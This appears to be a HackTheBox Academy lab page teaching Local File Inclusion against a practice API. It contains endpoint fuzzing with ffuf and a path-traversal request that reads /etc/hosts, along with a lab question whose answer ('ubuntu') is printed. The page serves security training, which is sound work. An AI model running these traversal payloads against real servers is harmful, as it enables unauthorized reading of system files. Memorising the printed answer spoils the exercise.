

## Local File Inclusion (LFI)

Local File Inclusion (LFI) is an attack that affects web applications and APIs alike. It allows an attacker to read internal files and sometimes execute code on the server via a series of ways, one being [Apache Log Poisoning](#). Our [File Inclusion](#) module covers LFI in detail.

Let us assess together an API that is vulnerable to Local File Inclusion.

Proceed to the end of this section and click on [Click here to spawn the target system!](#) or the [Reset Target](#) icon. Use the provided Pwnbox or a local VM with the supplied VPN key to reach the target API and follow along.

Suppose we are assessing such an API residing in [http://<TARGET\\_IP>:3000/api](http://<TARGET_IP>:3000/api).

Let us first interact with it.

```
Local File Inclusion (LFI)

MisaelMacias@htb[/htb]$ curl http://<TARGET_IP>:3000/api
{"status":"up"}
```

We don't see anything helpful except the indication that the API is up and running. Let us perform API endpoint fuzzing using [ffuf](#) and the [common-api-endpoints-mazen160.txt](#) list, as follows.

```
Local File Inclusion (LFI)

MisaelMacias@htb[/htb]$ ffuf -w "/home/htb-acxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/common-api-endp

v1.3.1 Kali Exclusive <3

:: Method      : GET
:: URL         : http://<TARGET_IP>:3000/api/FUZZ
:: Wordlist     : FUZZ: /home/htb-acxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/common-api-endpoint
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405

:: Progress: [40/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors
download      [Status: 200, Size: 71, Words: 5, Lines: 1]
:: Progress: [87/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors::
Progress: [174/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Error::
Progress: [174/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```

It looks like [/api/download](#) is a valid API endpoint. Let us interact with it.

```
Local File Inclusion (LFI)

MisaelMacias@htb[/htb]$ curl http://<TARGET_IP>:3000/api/download
{"success":false,"error":"Input the filename via /download/<filename>"}
```

We need to specify a file, but we do not have any knowledge of stored files or their naming scheme. We can try mounting a Local File Inclusion (LFI) attack, though.

```
Local File Inclusion (LFI)

MisaelMacias@htb[/htb]$ curl "http://<TARGET_IP>:3000/api/download/..%2f..%2f..%2f..%2fetc%2fhosts"
127.0.0.1 localhost
127.0.0.1 nix01-websvc

# The following lines are desirable for IPv6 capable hosts
::1      ip6-localhost ip6-loopback
fe80::0  ip6-localnet
ff00::0  ip6-mcastprefix
ff02::1  ip6-allnodes
ff02::2  ip6-allrouters
```

The API is indeed vulnerable to Local File Inclusion!

**VPN Servers**

**Warning:** Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

US Academy 3

Medium Load

PROTOCOL

UDP 1337 TCP 443

DOWNLOAD VPN CONNECTION FILE

Connect to Pwnbox

Go to Questions

### Table of Contents

#### Web Service & API Fundamentals

- Introduction to Web Services and APIs
- Web Services Description Language (WSDL)

#### Web Service Attacks

- SOAPAction Spoofing
- Command Injection
- Attacking WordPress' xmlrpc.php

#### API Attacks

- Information Disclosure (with a twist of SQLi)
- Arbitrary File Upload
- Local File Inclusion (LFI)
- Cross-Site Scripting
- Server-Side Request Forgery (SSRF)
- Regular Expression Denial of Service (ReDoS)
- XML External Entity (XXE) Injection
- Web Service & API Attacks - Skills Assessment

#### My Workstation

OFFLINE

Start Instance

0 / 1 spawns left

your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

UK

100ms

⌚ Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

☐ Enable step-by-step solutions for all questions

### Questions

Answer the question(s) below to complete this Section and earn cubes!

Download VPN Connection  
File

Target(s): [Click here to spawn the target system!](#)

+1 🧠 Through the LFI vulnerability identify an existing user on the server whose name starts with "ub". Answer format: ub\*\*\*\*

ubuntu

Submit

← Previous

Next →

🏆 Mark Complete & Next

